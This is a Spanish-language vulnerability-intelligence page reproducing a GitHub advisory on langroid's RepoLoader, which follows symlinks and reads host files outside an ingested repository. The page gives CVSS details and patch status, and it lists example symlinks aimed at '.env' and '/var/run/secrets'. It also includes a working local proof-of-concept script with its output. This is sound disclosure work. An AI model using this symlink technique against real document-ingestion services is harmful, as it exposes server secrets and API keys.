llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · langroid

GHSA-99M6-3PVG-Q66H

RepoLoader sigue enlaces simbólicos y lee archivos locales fuera del repositorio o la carpeta ingerida

Parche disponible
Descargar PNG JSON
CVSS 3.1
6.5
Media
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición118 dDesde la divulgación, 25 jul 2026, 1:09 p. m.
Detección116 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Traje la llave inglesa: esto se arregla.Esto lo arregla la rutina de siempre.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 0.65.11
Monitoreo
Detectada +1
25 jul 26
19 nov 26
21 nov 26
25 jul 26
24 ago 26
23 sept 26
22 oct 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-99M6-3PVG-Q66H divulgada · CVSS 6.5 (GitHub)
Remediación Parche 0.65.11 langroid · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Traducción automática · Ver original
Descripción del advisory
Traducción automática · GitHub

Resumen

El `RepoLoader` de Langroid sigue enlaces simbólicos controlados por un atacante al ingerir un repositorio o una carpeta local. Como resultado, un repositorio o un árbol de directorios que contenga enlaces simbólicos a archivos o directorios del host situados fuera de la raíz prevista puede hacer que Langroid cargue esos archivos externos como documentos.

Esto genera un problema de lectura de archivos locales durante la ingestión de repositorios o carpetas.

Detalles

El comportamiento vulnerable se encuentra en `langroid/parsing/repo_loader.py`, principalmente en `RepoLoader.load_from_folder()` y `RepoLoader.get_documents()`.

  • `load_from_folder()` recorre las entradas bajo la raíz proporcionada usando `os.path.isdir()` / `os.path.isfile()` y lee los archivos con `open()`.
  • `get_documents()` recopila las rutas de los archivos y las pasa al análisis de documentos sin rechazar enlaces simbólicos ni verificar que las rutas resueltas permanezcan dentro de la raíz prevista.

Dado que se siguen los enlaces simbólicos, un repositorio o directorio local malicioso puede contener entradas como:

  • `secret.txt -> /home/app/.env`
  • `lootdir -> /var/run/secrets`

Al ingerir ese árbol, Langroid lee los destinos de los enlaces y expone su contenido como objetos `Document`, aunque los destinos estén fuera del repositorio o la carpeta ingeridos.

Esto es especialmente relevante para aplicaciones que ingieren repositorios o árboles de documentos locales proporcionados por usuarios y que luego exponen los documentos resultantes a flujos de recuperación, resumen o chat.

PoC

El siguiente script demuestra que tanto `load_from_folder()` como `get_documents()` siguen enlaces simbólicos y cargan el contenido de archivos situados fuera del directorio raíz previsto.

import tempfile
from pathlib import Path

from langroid.parsing.repo_loader import RepoLoader


with tempfile.TemporaryDirectory() as td:
    td = Path(td)
    base = td / "base"
    outside = td / "outside"
    base.mkdir()
    outside.mkdir()
    (outside / "secret.txt").write_text("HOST-SECRET", encoding="utf-8")
    (outside / "nested.txt").write_text("NESTED-SECRET", encoding="utf-8")

    (base / "link-file.txt").symlink_to(outside / "secret.txt")
    (base / "lootdir").symlink_to(outside, target_is_directory=True)

    tree, docs = RepoLoader.load_from_folder(
        str(base),
        depth=2,
        lines=20,
        file_types=["txt"],
        exclude_dirs=[],
        url="attacker/repo",
    )
    print(
        {
            "doc_sources": sorted(d.metadata.source for d in docs),
            "doc_contents": sorted(d.content for d in docs),
        }
    )

    docs2 = RepoLoader.get_documents(
        str(base),
        file_types=["txt"],
        exclude_dirs=[],
        depth=2,
        lines=20,
    )
    print(
        {
            "get_documents_sources": sorted(d.metadata.source for d in docs2),
            "get_documents_contents": sorted(d.content for d in docs2),
        }
    )

Resultado observado:

{
  "doc_sources": ["link-file.txt", "lootdir/nested.txt", "lootdir/secret.txt"],
  "doc_contents": ["HOST-SECRET", "HOST-SECRET", "NESTED-SECRET"]
}
{
  "get_documents_sources": ["/tmp/.../base/link-file.txt"],
  "get_documents_contents": ["HOST-SECRET"]
}

Esto muestra que:

  • `load_from_folder()` sigue tanto un archivo como un directorio enlazados simbólicamente.
  • `get_documents()` sigue un archivo enlazado simbólicamente y carga el contenido del destino externo.

Impacto

Si una aplicación permite que usuarios no confiables seleccionen o proporcionen un repositorio, una carpeta o un árbol de documentos para su ingestión, un atacante puede usar enlaces simbólicos para que el servidor lea archivos locales situados fuera de la raíz de ingestión prevista.

Según el despliegue, esto puede exponer:

  • archivos de entorno y claves de API
  • código fuente y configuración de la aplicación
  • secretos montados y otros archivos legibles del host

En servicios alojados de tipo "chatea con tu repositorio" o de ingestión de documentos, esto puede convertirse en una divulgación de archivos locales del lado del servidor.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
8.3/ 10Alto
Vector 8.3 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
langroid< 0.65.11
0.65.11
0.69.22
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypilangroid
Corregida 0.65.11 0 d 0.69.22 no afectada
Versiones corregidas0.65.11
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/langroid/langroid/security/advisories/GHSA-99m6-3pvg-q66h

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.